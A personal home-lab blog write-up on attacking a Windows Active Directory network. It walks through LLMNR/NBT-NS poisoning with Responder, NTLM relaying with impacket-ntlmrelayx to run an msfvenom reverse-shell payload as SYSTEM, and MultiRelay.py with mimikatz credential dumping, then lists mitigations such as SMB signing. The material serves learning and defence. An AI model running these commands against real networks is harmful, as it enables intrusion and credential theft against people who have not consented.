As I had mentioned in my OSCP writeup, one thing not covered in the course was Active Directory and Windows networks. I've been learning on my own in my home lab and wanted to share a bit of what I've learned.
When it comes to pentesting Windows networks, a couple tools pop up quite regularly: Responder and NTLMRelayx. I'll cover these and a bonus tool - MultiRelay.
The Setup
One Windows Server 2016 VM , one Windows 10 Pro VM, one Windows 8 pro VM and one Windows 7 Enterprise VM - all installed with default options. I initially disabled internet access but decided to enable it temporarily to update all of the Windows machines before disabling net access again. The Server 2016 machine was promoted to a domain controller and the Windows 7/8/10 machines were joined to that domain. Windows Defender and Windows Firewall were disabled through Group Policy - I'll enable them when I learn how to evade antivirus better. The domain is called 'Muaythai' and the machines are named after famous fighters - Buakaw (Server 2016), Saenchai (Windows 10), Yod (Windows 8), and Smokin-Joe (Windows 7).
To further emulate bad admins and users, I set the domain admin password to 'Summer2019!' and unprivileged user passwords to 'Spring2019!'.
The attacking machine is a Kali VM installed from the latest weekly ISO and updated from there. I edited /etc/hosts and added the Windows machines as Win7, Win8 and Win10.
Responder
When it comes to Windows name resolution, DNS is checked first. If a host can't be found in DNS, LLMNR (Link Local Multicast Name Resolution) is used next. If that fails, NBT-NS (NetBIOS Name Service) is next in line. With Responder running, you can do all sorts of interesting things.
Responder comes pre-installed in Kali and running responder -I <network interface> will get it started:
So from Win10, I ran ping dookie. 'Dookie' does not exist in DNS so next up is LLMNR where Responder answered and said "Yo, I'm dookie!"
It took a second but I started getting replies from the Win10 machine from the Kali box:
What can you do with this? If you've had a chance to enumerate the network, you can do a number of things depending what's going on. If some forgotten script somewhere is trying to access a decommissioned machine, you can pose as that machine and possibly get creds from said script. You could imitate the phishing scams out there, set up a landing page that looks like an internal server and get creds. All of that takes time and patience though so most people will go after SMB hashes.
This article does a bang up job of explaining the different hashes. What you need to know here is that when Windows machines try to access a share, they send their NTLMv2 hash. Note that you cannot use this hash in 'pass the hash' attacks. Let's take a look what happens when I try net view \\dookie from Win10:
Doesn't look like anything from that perspective right? However, it's a different story in Responder:
You can take that hash for offline cracking or relay it to access other things. Which brings us to....
NTLMRelayx
In 2008 Microsoft patched MS08-068 which allowed an attacker to reflect/replay a NTLM hash back to its source and gain access to or execute code on the source. The workaround for this was relaying - taking the NTLMv2 hash from one machine and passing it along to another.
NTLMRelayx is included in the default Kali install and can be run with impacket-ntlmrelayx. It is a very powerful tool with many options so let's take a look at some use cases.
The simplest use would be to have NTLMRelayx run a command on the target. In this case, I'll run NTLMRelayx with default options targeting the Win10 machine then try to view a non-existent Samba share on the Kali machine from the Server 2016 machine. From Server 2016:
The Kali machine:
The next use I'll cover is using NTLMRelayx to execute a file on the target. In this case, I'm going to use a netcat reverse shell that was generated with msfvenom -p windows/x64/shell_reverse_tcp LHOST=<kali ip> LPORT=8888 -f exe -o nc64-8888.exe.
From the Kali machine, I ran impacket-ntlmrelayx -t win10 -e ./nc64-8888.exe and see this when accessing \\<Kali IP> from Server2016:
Also on the Kali machine with a netcat listener running:
Note that the reverse shell has System privileges - this is because the hash we relayed had admin access on the target and created a service to run as system. Cool eh?
You should also note that NTLMRelayx cleans up after itself by removing the file uploaded as well as stopping and removing the service it created. This can come into play with other payloads. The netcat connection I got in this example stayed active after the service and file were removed but this is NOT the case with meterpreter payloads. I had mixed results migrating a meterpreter session to another process. Sometimes it worked, other times the session died before I even had a chance to do anything.
For the last example, I'll combine Responder and NTLMRelayx.
The first step is to edit /etc/responder/Responder.conf and disable the SMB and HTTP listeners:
Start Responder as before with responder -I eth0 and let's use the same netcat payload with NTLMRelayx in the last example by running impacket-ntlmrelayx -t win10 -e nc64-8888.exe. From the Server 2016 machine I ran net view \\idontexist.
Responder:
NTLMRelayx:
Netcat listener:
There's a lot more you can do with NTLMRelayx which I plan to cover in the near future.
MultiRelay.py
MultiRelay.py is part of the Responder suite and works very much like NTLMRelayx. Why bother with it then? It offers some rather handy built-in tools. Here's a screenshot of it when I ran /usr/share/responder/tools/MultiRelay.py -t <Win10 IP> -u ALL and tried to access \\<Kali IP> from the Server 2016 machine while logged in as the domain admin:
Pretty powerful commands built into the shell! I couldn't get mimikatz to dump passwords or hashes on the Win10 machine but it worked great on the Win7 machine:
Mimikatz didn't get the administrator password in plain text on the Win8 machine but it did get NTLM hashes which are almost as good as they can be used in 'pass the hash' attacks:
Some gotchas I ran into with MultiRelay.py:
- I had to use the IP address of the target to get a shell. Even though I had an entry in my /etc/hosts file, it would just hang if I used the hostname
- You must run MultiRelay.py from /usr/share/responder/tools if you want to use the mimikatz commands. If not, you will get an error saying it could not find mimikatz.exe
None of these relay attacks will work if SMB Signing is enabled. RunFinger.py is a tool that will scan a network and tell you which hosts have it enabled:
Mitigations Against Relay Attacks
- Enable SMB Signing
- Disable LLMNR
- Disable Netbios over TCP/IP
All three of these can be done by Group Policy. Otherwise, you can take care of the first 2 via the registry and the 3rd from the network adapter settings.
This is what an attacker will see if they try to run MultiRelay.py against a machine with SMB Signing enabled:
